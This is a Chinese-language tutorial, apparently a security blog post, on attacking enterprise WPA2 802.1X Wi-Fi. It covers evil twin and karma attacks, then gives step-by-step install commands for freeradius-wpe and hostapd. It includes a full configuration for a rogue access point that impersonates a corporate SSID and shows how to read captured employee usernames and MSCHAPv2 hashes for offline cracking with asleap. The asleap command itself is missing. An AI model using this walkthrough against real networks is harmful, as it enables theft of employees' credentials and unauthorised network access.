針對開放式(沒有密碼)無線網絡的企業攻擊,我個人感覺比較經典的攻擊方式有2種,一種是eviltwin
,一種是karma
。karma
應該是eviltwin
攻擊手法的升級版,攻擊者只需要簡單的監聽客戶端發的ssid探測和響應包就可以實現中間人了,受害者很少會有察覺。而且坊間曾有一個錯誤的認識,認為隱藏的ssid是不受karma
影響的。但是實際情況是,客戶端如果曾經連接過隱藏的ssid,也會廣播這些網絡的探測包。盡管karma
這種攻擊方式已經有10多年的歷史了,但是在MAC OSX,ubuntu,老版本的andorid系統上依然有效。win7的默認配置居然是防護karma
攻擊的。
對加密的無線網絡,針對個人網絡,很多是使用wpa2-psk預共享密鑰的方法來限制訪問。而公司的無線網絡有使用wpa2企業認證的,也有使用radius服務提供獨立的用戶名和密碼來實現802.1x標準認證的。
我這里是的攻擊是使用hostapd
扮演一個無線訪問點,然后通過打補丁的freeraidus wpe
來捕捉密碼hash,最后用asleep
來離線破解密碼,來對抗相對安全的使用radius服務器提供獨立的用戶名和密碼實現的802.1x認證的企業無線網絡環境。
所需設備:
TP-LINK TL-WN821N
Kali 1.1.0
首先安裝freeradius-wpe
,既可以使用dpkg
直接安裝freeradius-server-wpe_2.1.12-1_i386.deb
,也可以通過源碼編譯來安裝,通過deb包安裝方法的命令如下:
wget https://github.com/brad-anton/freeradius-wpe/raw/master/freeradius-server-wpe_2.1.12-1_i386.deb
dpkg --install freeradius-server-wpe_2.1.12-1_i386.deb
ldconfig
cd /usr/local/etc/raddb/certs
./bootstrap && ldconfig
通過源碼安裝的步驟如下:
git clone https://github.com/brad-anton/freeradius-wpe.git
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2
tar jxvf freeradius-server-2.1.12.tar.bz2
patch -p1 < ../freeradius-wpe.patch
./configure
make install
然后執行radiusd -X
開啟debug
模式驗證是否安裝成功,如果運行此命令的時候提示
Failed binding to /usr/local/var/run/radiusd/radiusd.sock: No such file or directory
則需要建立相應的目錄
[email protected]:/usr/local/etc/raddb/certs# mkdir -p /usr/local/var/run/radiusd/
接下來安裝hostapd
,命令如下:
wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
tar zxvf hostapd-2.0.tar.gz
cd hostapd-2.0/hostapd/
cp defconfig .config
make
如果安裝的時候提示:
../src/drivers/driver_nl80211.c:19:31: fatal error: netlink/genl/genl.h: No such file or directory
compilation terminated.
make: *** [../src/drivers/driver_nl80211.o] Error 1
則需要安裝libnl
開發包,命令如下:
[email protected]:/hostapd-2.0/hostapd# sudo apt-get install libnl1 libnl-dev
然后編輯hostapd-wpe.conf
文件,如下
interface=wlan0
driver=nl80211
ssid=corp-lobby
country_code=DE
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=CCMP
rsn_pairwise=CCMP
實際操作需要修改的地方只有ssid項,如果你的目標企業無線網絡的ssid叫corp-lobby,則修改ssid=corp-lobby
,運行 hostapd -dd hostapd-wpe.conf
開啟偽造的無線熱點
這時候如果有企業員工在你附近,他的手機會自動連接你的偽造的無線熱點,你就可以通過
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
看到抓到的用戶名和MSCHAPv2的響應hash和挑戰hash。
有了challenge和response,就可以使用asleep
工具來基于字典的暴力破解,命令如下
使用radius實現802.1x認證的企業無線網絡相對來說還是比較安全的,如果每個用戶的密碼足夠復雜的話。后續的國外研究者也對這種攻擊增加了針對客戶端和路由設備的心跳漏洞的工具,集成的項目叫cupid,有興趣的可以參考http://www.sysvalue.com/en/heartbleed-cupid-wireless/
http://phreaklets.blogspot.sg/2013/06/cracking-wireless-networks-protected.html https://insights.sei.cmu.edu/cert/2015/08/instant-karma-might-still-get-you.html